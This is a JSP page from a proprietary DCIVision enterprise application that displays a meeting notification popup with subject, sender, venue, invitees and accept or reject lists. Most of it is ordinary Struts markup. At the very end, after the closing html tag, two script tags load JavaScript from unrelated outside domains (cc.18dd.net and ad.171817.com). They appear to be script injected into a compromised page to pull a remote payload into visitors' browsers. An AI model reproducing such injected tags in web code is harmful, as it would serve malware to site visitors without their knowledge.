<%
/*
 * @(#)MeetingNotification.jsp
 *
 * Copyright (c) 2006 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  MeetingNotification.jsp

  This class is reflecting business logic uses.

    @author           greatwall shao
    @company          DCIVision Limited
    @creation date    2006-09-26 

*/
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.sql.Timestamp"%>
<%@page import="com.dcivision.framework.Utility"%>
<%@ page contentType="text/html;charset=UTF-8"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="messageBean" scope="request" class="com.dcivision.alert.core.MessageInfoBean"/>
<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!--for refresh HomepageChannel-->
<script type='text/javascript' src='<%= request.getContextPath() %>/js/alert.js'></script>
<jsp:include page="/js/alert.jsp" flush="true"/>
<!--end-->

<script language="javascript">

function reloadParent() {
<%if(!Utility.isEmpty((String)request.getAttribute("isList"))){%>
//window.opener.document.location.href = "ListSystemMessage.do";
if(window.opener){
	if(window.opener.listMessageForm){
		window.opener.listMessageForm.submit();
	}else{
	window.opener.document.location.href = "ListSystemMessage.do";
	}
}
<%}%>
}
function setUnRead()
{
/*
document.editMessageDetailForm.submit();
defer();
 //setTimeout(window.close(),1000);
 window.close();*/
 setUnReadAjAX(document.editMessageDetailForm);
}
function defer(){
var i=0;
 for(i=0;i<10000;i++){
 document.editMessageDetailForm.unRead.value="yes";
 }
}
  function hideBlock(b) {
    document.getElementById(b).style.display = "none";
  }

  function showBlock(b) {
  document.getElementById(b).style.display = "block";
  }
 
 window.onbeforeunload = function(event){
 try{
   window.opener.hideDim();//tc add for hidden the dim
 }catch(e){
 }
}

</script>
</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" onLoad="INIT();" onUnload="reloadParent();">
<layout:popupTitle titleKey ="home.message.system.message"/>
<form name="editMessageDetailForm" method="get" action="./EditMessageDetail.do" >
  <input type="hidden" name="unRead" value="yes"/>
  <input type="hidden" name="messageType" value="meetingNotification"/>
  <input type="hidden" name="systemLogID" value="<bean:write name="messageBean" scope="request" property="systemLogID"/>"/>

<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <layout:sectionHeader name='home.label.icon_notification_meeting'/>
</table>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr> 
    <td width="15%" class="<layout:classLabel mandatory='false'/>"><bean:message key='home.message.emailrule.email_subject'/>:</td>
    <td class="dataFieldNoBackGround" colspan="2">
      <bean:write name="messageBean" scope="request" property="subject"/></strong>
	</td>
  </tr>
  <tr>
    <td width="15%" class="<layout:classLabel mandatory='false'/>"><bean:message key='home.message.meeting.sender'/>:</td>
    <td width="35%" class="dataFieldNoBackGround" colspan="2"><bean:write name="messageBean" scope="request" property="sender"/></td>
    <td width="15%" class="<layout:classLabel/>">
      <!-- <bean:message key='home.message.meeting.arrival_date'/>: -->
    </td> 
    <td width="35%" class="dataFieldNoBackGround">
      <!--
      <layout:duration startDate="<%=messageBean.getArrivalDate().toString()%>" endDate="<%=new Timestamp(System.currentTimeMillis()).toString()%>"></layout:duration>
      -->
    </td>
  </tr>
  <!--
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='home.message.meeting.reply_due_date'/>:</td>
    <td class="dataFieldNoBackGround" colspan="2"><bean:write name="messageBean" scope="request" property="dueDate"/></td>
    <td></td>
    <td></td>
  </tr>
  <tr>
    <td colspan="4"><br><br></td>
  </tr>  
  -->
  <!--
  <tr>
    <td colspan="4"><layout:sectionHeader name='home.message.meeting.meeting_detail'/></td>
  </tr>  
  -->
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='home.message.meeting.from'/>:</td>
    <td class="dataFieldNoBackGround" colspan="2"><bean:write name="messageBean" scope="request" property="from"/></td>
    <td class="<layout:classLabel/>"><bean:message key='home.message.meeting.to'/>:</td>
    <td class="dataFieldNoBackGround"><bean:write name="messageBean" scope="request" property="to"/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='home.message.meeting.details'/>:</td>
    <td class="dataFieldNoBackGround" colspan="2" valign="top"><bean:write name="messageBean" scope="request" property="detail"/></td>
    <td class="<layout:classLabel/>"><bean:message key='home.message.meeting.venue'/>:</td>
    <td class="dataFieldNoBackGround"><bean:write name="messageBean" scope="request" property="venue"/></td>
  </tr>
  <tr>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='home.message.meeting.invitee'/>:</td>
    <td class="dataFieldNoBackGround" colspan="4" valign="top">
    <!--invitee picker  -->
    <html:inviteePicker name="inviteeShare" propertyUser="userList" propertyGroup="groupList" propertyRole="roleList" valueUser='<%=messageBean.getUserIDList()%>' valueGroup='<%=messageBean.getGroupIDList()%>' valueRole='<%=messageBean.getRoleIDList()%>' width="550" height="75"/>
    <!--invitee picker  -->
    </td>
    <td></td>
    <td></td>
  </tr>
  <!--
  <tr>
    <td colspan="4"><layout:sectionHeader name='home.message.meeting.meeting_detail'/></td>
  </tr>
  -->
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='home.message.meeting.accepted'/>:</td>
    <td colspan="3" class="dataFieldNoBackGround" colspan="4"><bean:write name="messageBean" scope="request" property="accept"/></td>    
  </tr>
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='home.message.meeting.maybe'/>:</td>
    <td colspan="3" class="dataFieldNoBackGround" colspan="4"><bean:write name="messageBean" scope="request" property="tentative"/></td>    
  </tr>
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='home.message.meeting.rejected'/>:</td>
    <td colspan="3" class="dataFieldNoBackGround" colspan="4"><bean:write name="messageBean" scope="request" property="reject"/></td>    
  </tr>
</table>
<!--  
  <table>
    <tr>
      <td><bean:message  key='home.message.meeting_calendar_list'/></td>
	  <td align="right">
	    <span id="divShareShow" style="display:none">
        [<a href="" onClick="showBlock('divShareHide'); hideBlock('listCalendar');hideBlock('divShareShow'); return false" ><bean:message key ='calendar.label.hide'/></a>]
        </span>
        <span id="divShareHide" style="display:block">
        [<a href="" onClick="hideBlock('divShareHide');showBlock('listCalendar'); showBlock('divShareShow'); return false" ><bean:message key ='calendar.label.show'/></a>]
        </span>
	  </td>
	</tr>
  </table>
  <div id='listCalendar' style="display:none">
    <table>
      <tr>
        <td colspan="5"><hr /></td>
      </tr>	  
      <tr>
        <td width="46%"   align="right"><iframe  width=800 height=400 frameborder=0  src="<%=request.getContextPath()%>/calendar/ListCalendar.do?isMessage=true"></iframe></td>
      </tr>
	</table>
  </div>
-->
<logic:notEqual name ="isFromEmail" value="yes">
	  <div id="bottomButtonArea">
      <div id="buttonSection">
        <html:standardButton label="home.message.meeting.keep_unread" onClick="return setUnRead();"/>
        <html:standardButton label="workflow.applet.close" onClick="javascript:opClose();"/>
      </div>
    </div>
</logic:notEqual>
</form>
</body>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>